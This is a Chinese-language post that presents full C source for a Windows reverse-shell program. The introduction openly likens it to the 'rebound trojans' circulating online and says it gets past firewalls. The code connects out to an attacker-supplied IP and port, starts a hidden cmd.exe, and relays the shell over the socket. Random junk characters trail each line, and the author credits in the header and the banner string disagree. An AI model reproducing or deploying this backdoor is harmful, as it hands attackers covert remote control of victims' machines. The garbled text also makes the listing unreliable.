这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 8&T,LNZoY
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/* ============================== sJ7sjrEp1
Rebound port in Windows NT %uEtQh[
By wind,2006/7 qsvpW%?aE
===============================*/ c
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#include >i`8R
#include iIB9j8
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#pragma comment(lib,"wsock32.lib") jnDQ{D
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void OutputShell(); A:c]1
SOCKET sClient; hA5,w_G/
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; !Y|8z\Q
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void main(int argc,char **argv) -s89)lUkS
{ s@z{dmL
WSADATA stWsaData; bHJoEYY^
int nRet; I)rGOda{
SOCKADDR_IN stSaiClient,stSaiServer; HNFhH0+^
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if(argc != 3) ~xE=mg4le
{ g#Mv&tU
printf("Useage:\n\rRebound DestIP DestPort\n"); w`0)x5
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return; HlF}
} PC[cHgSYU
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WSAStartup(MAKEWORD(2,2),&stWsaData); 2pjW,I!`
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1GUqT 9)
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stSaiClient.sin_family = AF_INET; QQT G9s
stSaiClient.sin_port = htons(0); #TIX_ RXh
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); zfirb
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) (GnVwJ<v9V
{ 90?,-6
printf("Bind Socket Failed!\n"); 6mi$.'
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return; QTeFR&q8
} 6EZ1YG}
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stSaiServer.sin_family = AF_INET; L>0!B8X2
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); =?wMESU
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 9jqO/_7R+
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) &|s+KP|d
{ a5X`jo
printf("Connect Error!"); fV*}c`
return; +g)_4fV0|
} #"hJpyW 4V
OutputShell();
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} HE*7\"9
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void OutputShell() Qk+=znJ
{ 4[2=L9MIo~
char szBuff[1024]; 7U&5^s
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SECURITY_ATTRIBUTES stSecurityAttributes; S@9w'upd
OSVERSIONINFO stOsversionInfo; 1d/NZJ9
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 79TPg
STARTUPINFO stStartupInfo; 8mk}nex
char *szShell; 2T//%ys=
PROCESS_INFORMATION stProcessInformation; D8)O4bh
unsigned long lBytesRead; Tld1P69(
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); zt-'SY
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); kX@bv"i
stSecurityAttributes.lpSecurityDescriptor = 0; #L_@s
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stSecurityAttributes.bInheritHandle = TRUE; B jH ~Ml2
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); NE$VeW+@
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); !S~,>,yd
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Aqa6R+c
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; mY$nI -P
stStartupInfo.wShowWindow = SW_HIDE; l5{(z;xM
stStartupInfo.hStdInput = hReadPipe; qgwv=5|
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; =#OHxM
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GetVersionEx(&stOsversionInfo); A8\U
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switch(stOsversionInfo.dwPlatformId) Xy[4f=X}z
{ C_;HaQiu
case 1: ML=hKwCA
szShell = "command.com"; / K_e;(Y_
break; ?z)y%`}
default: y (c|5CQ
szShell = "cmd.exe"; J'G`=m"-'
break; W%cj39$
} AhbT/
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); G)tq/`zNw
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send(sClient,szMsg,77,0); pU:C=hq4
while(1) E+^} B/"
{ ~q8V<@?
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Eps\iykB
if(lBytesRead) /<?X-IDz.{
{ <0Egkz3s
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 3R=3\;
send(sClient,szBuff,lBytesRead,0); P=sK+}5`q
} ;YXr G
else -"dy z(
{ [qD<U %Hi
lBytesRead=recv(sClient,szBuff,1024,0); >Hzb0N!VJ
if(lBytesRead<=0) break; a~eLkWnh<k
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); |`;1p@w"
} Ihq@|s8
} U
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return; +X(^Q@
}